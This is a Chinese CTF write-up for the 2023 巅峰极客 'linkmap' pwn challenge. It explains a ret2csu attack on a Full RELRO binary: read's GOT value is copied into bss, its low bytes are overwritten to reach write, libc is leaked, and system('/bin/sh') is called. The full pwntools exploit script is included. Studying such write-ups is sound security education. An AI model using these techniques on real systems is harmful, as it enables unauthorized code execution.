FULL RELRO下的低位覆盖
2023-7-24 14:47:0 Author: xz.aliyun.com(查看原文) 阅读量:9 收藏

前言

前两天巅峰极客比赛遇到一种很有趣的攻击方式,这里来说一下我的理解并讲解一下比赛的题目

背景知识

RELRO:堆栈地址随机化, 是一种用于加强对 binary 数据段的保护的技术
Partial RELRO:部分开启,got表可写
FULL RELRO:全部开启,got不可写

有的题开启了FULL RELRO后我们就不能在再去修改got表,如果条件更为苛刻的话,把输出函数去掉后,我们对栈溢出就利用就会困难更加困难,下面提供一种相对来说比较简单的思路去解决这个问题,也就是先把got表写到bss段上,再低位覆盖成输出函数,泄露完真实地址后再用基础的rop链去攻击。

2023巅峰极客 linkmap

ida

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到这里是got表不可写的

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  setbuf();
  read(0, buf, 0x100uLL); //buf = 0x10
  return 0LL;
}

main函数的内容只有这些


然后查看got表也没有输出函数,没有办法直接利用简单的rop链

查看一下这一排函数,其中有个函数比较特别 : sub_400606

__int64 __fastcall sub_400606(unsigned int a1, int a2, int a3)
{
  __int64 result; // rax
  __int64 v4; // [rsp+14h] [rbp-8h]

  v4 = *(qword_601040 + (int)a1);
  qword_601040 = v4;
  result = a1;
  dword_601048 = a1;
  if ( a2 == 1 )
  {
    result = v4;
    qword_601028[a3] = v4;
  }
  else if ( !a2 )
  {
    result = v4;
    qword_601020[a3] = v4;
  }
  return result;
}

让我们仔细分析一下这个函数,这个函数有a1,a2,a3三个参数,第一步会取 0x601040+a1 处二级指针存储的值,然后赋值给v4,然后再把v4的值赋值给0x601040处的指针变量(这里0x601040是在bss段),这里估计是反编译的问题,他这个赋值可能不大形象,下面我用一个例子来解释一下这一步可以达到的效果

假设我们在0x601040处写入read_got,并且控制了sub_400606函数的第一个参数为a1=0(rdi=0),下面就会直接这三步
0x601040-->read_got-->read_addr
v4=read_addr
0x601040-->read_addr
这样就达到了把read的真实地址写入可写的bss段上,这样我们便可以再次写0x601040的地址,也就可以低位覆盖后四位来写write,这里因为aslr的缘故,所以只是有几率覆盖成功

思路

因为程序中没有控制rdx的gadget,所以我们用csu来控制rdi,rsi,rdx寄存器和程序执行流,然后我们要利用sub_400606函数去把read_addr写入0x601040处,之后还要让sub_400606函数返回read函数以达到修改的目的,这里仔细设置一下a1,a2,a3三个参数就可以达到这个效果。把write的地址写入进去后,我们得到了这样一个效果,addr1-->write_addr,之后我们直接调用addr1就能利用write函数了,然后我们就可以泄露libc地址了,然后就利用基础的rop链去getshell就可以了。

详细流程

先构造csu

.text:00000000004007C0                               loc_4007C0:                             ; CODE XREF: init+54↓j
.text:00000000004007C0 4C 89 EA                      mov     rdx, r13
.text:00000000004007C3 4C 89 F6                      mov     rsi, r14
.text:00000000004007C6 44 89 FF                      mov     edi, r15d
.text:00000000004007C9 41 FF 14 DC                   call    qword ptr [r12+rbx*8]
.text:00000000004007C9
.text:00000000004007CD 48 83 C3 01                   add     rbx, 1
.text:00000000004007D1 48 39 EB                      cmp     rbx, rbp
.text:00000000004007D4 75 EA                         jnz     short loc_4007C0
.text:00000000004007D4
.text:00000000004007D6
.text:00000000004007D6                               loc_4007D6:                             ; CODE XREF: init+34↑j
.text:00000000004007D6 48 83 C4 08                   add     rsp, 8
.text:00000000004007DA 5B                            pop     rbx
.text:00000000004007DB 5D                            pop     rbp
.text:00000000004007DC 41 5C                         pop     r12
.text:00000000004007DE 41 5D                         pop     r13
.text:00000000004007E0 41 5E                         pop     r14
.text:00000000004007E2 41 5F                         pop     r15
.text:00000000004007E4 C3                            retn
.text:00000000004007E4                               ; } // starts at 400780
.text:00000000004007E4
.text:00000000004007E4                               init endp
csu_front_addr = 0x4007C0
csu_end_addr = 0x4007DA

# csu(0, 1, fun_got, rdx, rsi, rdi, last)
def csu(rbx, rbp, r12, r15, r14, r13, last):
    payload = ""
    payload += p64(csu_end_addr) 
    payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38  
    payload += p64(last)    
    return payload

这里就是先pop rbx,rbp,r12,r13,r14,r15
然后r13-->rdx , r14-->rsi , r15d-->edi , 令rbx=0 ,r12-->call , rbp==1 , rbp==rbx , 然后不跳转 ,最后写个返回函数就行
构造完csu后就可以做题了
版本:ubuntu22

pop_rbp_ret = 0x0000000000400570
pop_rdi_ret = 0x00000000004007e3
pop_rsi_ret = 0x00000000004007e1
ret = 0x400773

main_addr = 0x400740
key_addr = 0x601040
#leave_ret = 0x400772

read_plt = 0x4004E0
read_got = 0x600FD8

backdoor = 0x400606
csu_front_addr = 0x4007C0
csu_end_addr = 0x4007DA

首先把这些地址放到这里,方便后面解释

payload =  "a"*0x18
payload += csu(0, 1, read_got, 0, key_addr, 0x100, main_addr)
p.send(payload)

首先把rsi的值设置为key_addr

RAX  0xfffffffffffffe00
 RBX  0x0
 RCX  0x7fb531714992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x100
 RDI  0x0
 RSI  0x601040 ◂— 0x0 
 R8   0x7fb53181af10 (initial+16) ◂— 0x4
 R9   0x7fb531852040 (_dl_fini) ◂— endbr64 
 R10  0x7fb53184c908 ◂— 0xd00120000000e
 R11  0x246
 R12  0x600fd8 —▸ 0x7fb531714980 (read) ◂— endbr64 
 R13  0x100
 R14  0x601040 ◂— 0x0
 R15  0x0
 RBP  0x1
 RSP  0x7ffe97a209f0 —▸ 0x4007cd ◂— add rbx, 1
 RIP  0x7fb531714992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */

然后再往里面写数据

payload = p64(read_got)+p64(backdoor)
p.send(payload)

payload =  "a"*0x18
payload += csu(0, 1, key_addr+0x8, 0, 1, 0, main_addr)
p.send(payload)

这里就是去调用backdoor(sub_400606)函数,然后 rdi=0 , rsi=1 , rdx=0
这里解释一下后面两参数为什么要这么赋值

__int64 __fastcall sub_400606(unsigned int a1, int a2, int a3)
{
  __int64 result; // rax
  __int64 v4; // [rsp+14h] [rbp-8h]

  v4 = *(qword_601040 + (int)a1);
  qword_601040 = v4;
  result = a1;
  dword_601048 = a1;
  if ( a2 == 1 )
  {
    result = v4;
    qword_601028[a3] = v4;
  }
  else if ( !a2 )
  {
    result = v4;
    qword_601020[a3] = v4;
  }
  return result;
}

因为调用这个函数,最后返回值是result,这里我们想要返回read函数,以便于修改。
当我们令 a1=0 时,我们已经成功把read_addr写道key_addr上了

修改前:


修改后:

然后我们要利用 a2 == 1 来进入这个判断:
  if ( a2 == 1 )
  {
    result = v4;
    qword_601028[a3] = v4;
  }

这样之后

result = v4 = read_addr
0x601028[0] = read_addr (这里上图也可以看到)

成功达到目的

payload =  "a"*0x18
payload += csu(0, 1, read_got, 0, key_addr, 0x20, main_addr)
p.send(payload)

然后我们再利用read去修改read_addr的后四位

pwndbg> p read
$1 = {ssize_t (int, void *, size_t)} 0x7f3685114980 <__GI___libc_read>
pwndbg> p write
$2 = {ssize_t (int, const void *, size_t)} 0x7f3685114a20 <__GI___libc_write>

直接覆盖后四位为0x4a20

payload = p16(0x4a20)
p.send(payload)

payload =  "a"*0x18
payload += csu(0, 1, key_addr, 1, read_got, 0x20, main_addr)

然后再去调用write,把read_addr泄露出来,也就泄露处libc了

libc_base = u64(p.recvuntil('\x7f').ljust(8,"\x00")) - libc.sym['read']
leak("libc_base ",libc_base)


然后就用rop链正常打

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload =  "a"*0x18
payload += p64(ret)*3+ p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.send(payload)

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
#p=remote("pwn-3ca8173ee5.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['gnome-terminal','-x','sh','-c']

pop_rbp_ret = 0x0000000000400570
pop_rdi_ret = 0x00000000004007e3
pop_rsi_ret = 0x00000000004007e1
ret = 0x400773

main_addr = 0x400740
key_addr = 0x601040

read_plt = 0x4004E0
read_got = 0x600FD8

backdoor = 0x400606
csu_front_addr = 0x4007C0
csu_end_addr = 0x4007DA

def duan():
    gdb.attach(p)
    pause()

# csu(0, 1, fun_got, rdx, rsi, rdi, last)
def csu(rbx, rbp, r12, r15, r14, r13, last):
    payload = ""
    payload += p64(csu_end_addr) 
    payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38  
    payload += p64(last)    
    return payload

payload =  "a"*0x18
payload += csu(0, 1, read_got, 0, key_addr, 0x100, main_addr)
p.send(payload)

payload = p64(read_got)+p64(backdoor)
p.send(payload)

payload =  "a"*0x18
payload += csu(0, 1, key_addr+0x8, 0, 1, 0, main_addr)
p.send(payload)

#duan()
payload =  "a"*0x18
payload += csu(0, 1, read_got, 0, key_addr, 0x20, main_addr)
p.send(payload)
#duan()

payload = p16(0x4a20)
p.send(payload)
#duan()

payload =  "a"*0x18
payload += csu(0, 1, key_addr, 1, read_got, 0x20, main_addr)
p.send(payload)
#duan()

libc_base = u64(p.recvuntil('\x7f').ljust(8,"\x00")) - libc.sym['read']
leak("libc_base ",libc_base)
#duan()
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload =  "a"*0x18
payload += p64(ret)*3+ p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.send(payload)
'''
'''
p.interactive()

文章来源: https://xz.aliyun.com/t/12731
如有侵权请联系:admin#unsafe.sh